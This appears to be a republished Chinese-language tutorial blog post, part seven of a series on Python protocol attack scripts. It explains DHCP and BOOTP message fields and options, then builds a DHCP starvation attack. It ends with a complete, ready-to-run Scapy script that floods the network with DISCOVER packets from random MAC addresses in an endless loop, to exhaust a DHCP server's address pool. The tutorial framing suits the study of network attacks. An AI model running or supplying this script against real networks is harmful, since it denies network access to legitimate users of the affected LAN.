Python 协议攻击脚本(七): DHCP攻击

匿名 (未验证) 提交于 2019-12-02 22:11:45
版权声明:来自 www.youyouorz.top https://blog.csdn.net/qq_41725312/article/details/90314500

DCHP知识铺垫

DHCP

动态主机设置协议(英语:Dynamic Host Configuration Protocol,缩写:DHCP)是一个局域网的网络协议,使用UDP协议工作

BOOTP

BOOTP(Bootstrap Protocol,引导程序协议)是一种引导协议,基于IP/UDP协议,也称自举协议,是DHCP协议的前身。

关系

  • DHCP 是BOOTP 的增强版本都是基于TCP/IP协议的协议

  • DHCP的消息格式是基于BOOTP的消息格式的

报文部分字段

  • op:消息操作代码
    • 1 客户端请求报文(BOOTREQUEST)
    • 2 服务器响应报文(BOOTREPLY)
  • xid:事务ID,由客户端选择的一个随机数,被服务器和客户端用来在它们之间交流请求和响应
  • chaddr:客户端MAC地址
  • option:选项字段

常见option选项

Option id name 描述
1 Subnet Mask 子网掩码
3 Router 网关
6 DNS Server DNS服务器
51 IP address lease time IP地址租期
53 Message type 消息类型
54 DHCP Server Identifier DHCP服务器身份

IP请求中的Message type:

  • 1 DHCP发现(DISCOVER)
  • 2 DHCP提供(OFFER)
  • 3 DHCP请求(REQUEST)
  • 5 DHCP确认(Acknowledge,ACK)

DHCP耗尽攻击

不断的发送DHCP Dscover来向DHCP服务器请求IP地址,导致地址池耗尽,对网络造成破坏

详见:

DHCP协议 | wiki

DHCP Option 文档 | cisco

BOOTP/DHCP options

数据包分析

DHCP 服务器: 192.168.1.1 地址池:192.168.1.100-200 

Ether

  • src: 本机mac
  • dst: ff:ff:ff:ff:ff:ff 广播地址

IP

  • src: 0.0.0.0

UDP

  • src port:68
  • dst port:67

DHCP

  • chaddr:本机mac

  • option: 53 Discover

编写脚本

#!/usr/bin/env python3 # -*- coding:utf-8 -*-  from scapy.all import (     Ether,     RandMAC,     IP,     UDP,     BOOTP,     DHCP,     sendp ) import random  def dhcp_discover(iface):     while 1:         xid_random = random.randint(1, 900000000)         mac_random = str(RandMAC())         dhcp_discover = (Ether(src=mac_random,dst='ff:ff:ff:ff:ff:ff')/                      IP(src='0.0.0.0',dst='255.255.255.255')/                      UDP(sport=68,dport=67)/                      BOOTP(chaddr=mac_random,xid=xid_random,flags=0x8000)/                      DHCP(options=[('message-type','discover')]                      ))          sendp(dhcp_discover,iface=iface)    if __name__ == '__main__':     iface = 'eth0'     dhcp_discover(iface) 
文章来源: https://blog.csdn.net/qq_41725312/article/details/90314500
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!